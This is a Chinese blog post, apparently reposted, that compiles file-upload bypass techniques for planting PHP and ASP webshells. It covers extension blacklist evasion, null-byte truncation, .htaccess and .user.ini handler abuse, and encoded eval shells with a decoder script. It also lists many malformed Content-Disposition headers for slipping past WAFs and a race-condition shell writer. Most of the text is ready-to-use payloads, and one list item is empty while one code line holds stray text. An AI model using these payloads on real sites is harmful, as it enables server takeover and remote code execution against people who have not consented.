这篇文章是由我们团队的aaaahuia大佬整理。我来白嫖一下 我这里就分为两种吧,一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更精准的选择上传绕过方式。 (本篇都使用php一句话木马作为示例) 前端JS限制文件后缀限制只能上传规定后缀文件,绕过方式: 1.禁用检测文件后缀的JS代码 2.上传正常格式文件,抓包修改文件的filename为脚本格式 Content-type限制后台校验上传文件的Content-type是否为指定值,绕过方式: 1.上传时抓包修改Content-type 2.上传正常格式文件,抓包修改文件的filename为脚本格式 文件后缀黑名单检测限制1.大小写绕过,例如黑名单中为.php,那么可以上传.PHP或者.Php来绕过黑名单 2.“. ”“_”号和空格绕过,(只适用于Windows系统)Windows系统下,文件名后缀最后一个“.”“_”和空格会被自动去除,例如黑名单为.php,那么可以上传.php.,.php_或者.php 来绕过黑名单,Windows在解析时会删除最后一个.和_还有空格 3. 4.双写绕过,有些函数会替换敏感文件名,但不递归删除的话就可以双写绕过,例如a.phphpp,php被替换为空后就成了a.php 5.00截断绕过,上传时上传a.php.jpg,抓包在php后添加一个字符修改其HEX值为00,这样解析之后就是a.php了,也绕过了黑名单; 6.上传可解析的扩展文件名,例如: asp/aspx: php : jsp : 可利用burp fuzz测试 7…htaccess和.user.ini绕过黑名单 .htaccess使用条件: .htaccess只适用apache .htaccess内容: AddType application/x-httpd-php .jpg 将所有后缀为.jpg的文件作为php文件解析 <FilesMatch "BaiZe"> setHandler application/x-httpd-phpBZ </FilesMatch> 将所有文件名包含BaiZe的文件作为php文件解析 .user.ini使用条件: ①.user.ini适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件 .user.ini内容: auto_prepend_file=a.jpg a.jpg中符合php语言的代码会被执行 文件头限制文件头检测,上传图片马,在修改后缀为可解析脚本语言;或者上传一句话木马在文件中添加正常格式文件头例如:GIF89a 危险函数检测一般为waf对上传文件的内容进行检测 1.使用动态调用绕过,例如: <?php $_GET['0']($_GET['1']);?> 此方法不能绕过disable_function 2.上传编码后的webshell配合.htaccess来解析 3.上传编码后的webshell,再另外上传一个脚本文件解码webshell并写入新文件,例如下面这段代码为1.php PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4= 上传后再上传下面为2.php <?php $path ="/xx/xxx/xx/1.php"; $str= file_get_contents($path); $strs = base64_decode($str); $test = fopen("./test.php","w");test test fwrite($test,$strs); fclose($test); ?> 然后访问后再访问test.php即可getshell WAF拦截绕过常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以。 例如00截断,文件名+;号,文件名+'号,上传hatccess和user.ini,上面概述过的这里不再重复,使用时应配合使用 1.换行绕过检测,例如 Content-Disposition: form-data; name="file"; filename="1.p hp" Content-Disposition: form-data; name="file"; file name="1.php" Content-Disposition: form-data; name="file"; filename= "1.php" 三种均可 2.多个等号绕过检测,例如 Content-Disposition: form-data; name="file"; filename==="a.php" 3.增大文件大小,类似于sql注入的垃圾字符绕waf,例如 Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php" 4.去掉或替换引号绕过waf Content-Disposition: form-data; name=file1; filename=a.php Content-Disposition: form-data; name='file1'; filename="a.php" 4.增加filename干扰拦截,例如 Content-Disposition: form-data; name="file"; filename= ; filename="a.php" 5.混淆waf匹配字段,例如 混淆form-data Content-Disposition: name="file"; filename="a.php" 去除form-data Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php" 替换form-data为垃圾值 Content-Disposition: form-data ; name="file"; filename="a.php" form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="a.php" form-data中加+ 混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php" 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" 调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 6.双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。 7.容器与WAF对Boundary要求规则不一致 Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99 Content-Length: 253 -----------------------------471****1141173****525****99 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------471****1141173****525****99-- 一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。 8.条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件 fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>'); 上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php |
|
来自: 昵称68533005 > 《文件夹1》